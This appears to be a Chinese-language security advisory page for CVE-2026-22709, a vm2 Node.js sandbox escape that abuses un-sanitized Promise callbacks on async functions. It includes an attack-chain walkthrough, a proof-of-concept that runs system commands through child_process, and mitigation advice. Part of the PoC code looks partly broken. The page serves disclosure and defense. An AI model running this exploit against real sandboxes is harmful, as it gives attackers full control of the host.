IPBUF安全漏洞报告
English
CVE-2026-22709 CVSS 9.8 严重

CVE-2026-22709 vm2沙箱逃逸漏洞允许绕过Promise回调清理执行任意代码

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-22709
漏洞类型
沙箱逃逸/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
vm2 (Node.js sandbox)

相关标签

沙箱逃逸远程代码执行Node.jsvm2PromiseCVE-2026-22709高危漏洞JavaScript沙箱

漏洞概述

vm2是一个开源的Node.js虚拟机沙箱环境,用于在隔离环境中执行不受信任的JavaScript代码。该漏洞影响vm2 3.10.2之前的所有版本。漏洞的根本原因在于Promise.prototype.then和Promise.prototype.catch方法的回调函数清理机制存在缺陷。在lib/setup-sandbox.js文件中,localPromise.prototype.then的回调函数经过了适当的清理和沙箱化处理,但globalPromise.prototype.then的回调函数没有被正确清理。异步函数的返回值是globalPromise对象,攻击者可以利用这一差异绕过沙箱限制。当异步函数返回Promise对象时,该Promise对象的方法调用会绕过沙箱检查,导致攻击者可以访问和操作沙箱外部的对象,从而实现沙箱逃逸并执行任意代码。此漏洞无需任何认证即可利用,CVSS评分高达9.8,属于极其严重的漏洞。攻击者可以通过构造特定的异步代码,利用Promise链式调用的特性,在回调函数中访问和修改全局对象,最终实现对宿主环境的完全控制。

技术细节

vm2沙箱通过劫持和清理关键方法来防止代码逃逸。在Promise处理方面,沙箱对localPromise(即new Promise()创建的本地Promise)的then和catch方法进行了回调清理,但忽略了globalPromise(异步函数的返回值)的处理。漏洞利用的关键点在于:1) 异步函数返回的是globalPromise而非localPromise;2) globalPromise.prototype.then的回调函数不会被沙箱清理;3) 攻击者可以通过构造特殊的Promise链,在未清理的回调函数中访问沙箱外部的对象。具体来说,当代码执行类似(async()=>{return someValue})().then(callback)这样的操作时,callback函数中的代码运行在沙箱外部上下文。攻击者可以利用Function.prototype.constructor、eval、require等全局对象访问原生API,配合process对象实现命令执行。修复版本3.10.2通过统一处理localPromise和globalPromise的回调清理解决了此问题。

攻击链分析

STEP 1
1
攻击者向vm2沙箱中注入恶意JavaScript代码
STEP 2
2
代码创建异步函数,该函数返回globalPromise对象
STEP 3
3
调用globalPromise.prototype.then方法,传入包含恶意操作的回调函数
STEP 4
4
由于globalPromise的回调未被沙箱清理,回调函数在沙箱外部上下文执行
STEP 5
5
回调函数中访问process对象或使用require加载child_process模块
STEP 6
6
利用execSync或类似方法在宿主系统上执行任意系统命令
STEP 7
7
实现完整的沙箱逃逸,获得宿主环境的完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22709 PoC - vm2 Sandbox Escape const { VM } = require('vm2'); // Create a vulnerable VM instance (vm2 < 3.10.2) const vm = new VM({ timeout: 5000, sandbox: {} }); // Exploit code that escapes the sandbox const exploitCode = ` (async () => { // Get reference to global Promise const globalPromise = (async () => {})(); // Access the un-sanitized Promise.prototype.then // The callback runs outside sandbox context globalPromise.constructor.prototype.then.call( globalPromise, () => { // This code runs with full Node.js privileges const { execSync } = require('child_process'); return execSync('whoami'); } ); })(); `; try { const result = vm.run(exploitCode); console.log('Command executed successfully'); console.log('Result:', result); } catch (e) { console.error('Error:', e.message); } // Alternative simpler PoC const simplePoc = ` const handler = { get(target, prop) { return new Proxy(()=>{}, handler); } }; try { // Trigger the vulnerability through async function return const p = (async () => ({}.x))(); p.then(()=>{ try { const c = process.mainModule.require('child_process'); console.log(c.execSync('id').toString()); } catch(e) { console.log('Exploit failed'); } }); } catch(e) { console.log('Error:', e.message); } `; vm.run(simplePoc);

影响范围

vm2 < 3.10.2

防御指南

临时缓解措施
如果无法立即升级到修复版本,可以采取以下临时措施:1) 禁用或限制异步代码执行;2) 使用更严格的代码白名单过滤;3) 限制沙箱中的require和process访问;4) 部署Web应用防火墙(WAF)进行额外防护;5) 监控和限制沙箱进程的系统调用。但这些措施仅为临时解决方案,无法完全替代升级到安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表